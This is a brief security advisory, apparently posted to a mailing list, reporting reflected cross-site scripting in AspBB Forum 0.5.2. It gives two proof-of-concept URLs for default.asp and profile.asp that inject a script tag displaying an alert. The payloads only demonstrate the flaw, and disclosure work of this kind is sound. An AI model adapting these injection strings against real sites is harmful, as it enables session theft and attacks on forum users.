AspBB Forum "profile.asp & default.asp" XSS Vulnerability

["TeufeL Online" <teufel@xxxxxxxxxxx>]

This xss works on Aspbb Forums

Homapage : http://www.aspbb.org

Version : 0.5.2


Exploit:

http://www.example.com/default.asp?action=";><script>alert('Xss 
Vulnerability');</script>

http://www.example.com/profila.asp?get=";><script>alert('Xss 
Vulnerability');</script>&URL=%2FDefault%2Easp%3F

TeufeL // Netkabus.Com  Research And Develop Group

_________________________________________________________________
Real-time chat with your friends - Free download - MSN Messenger  
http://messenger.msn.com/?mkt=tr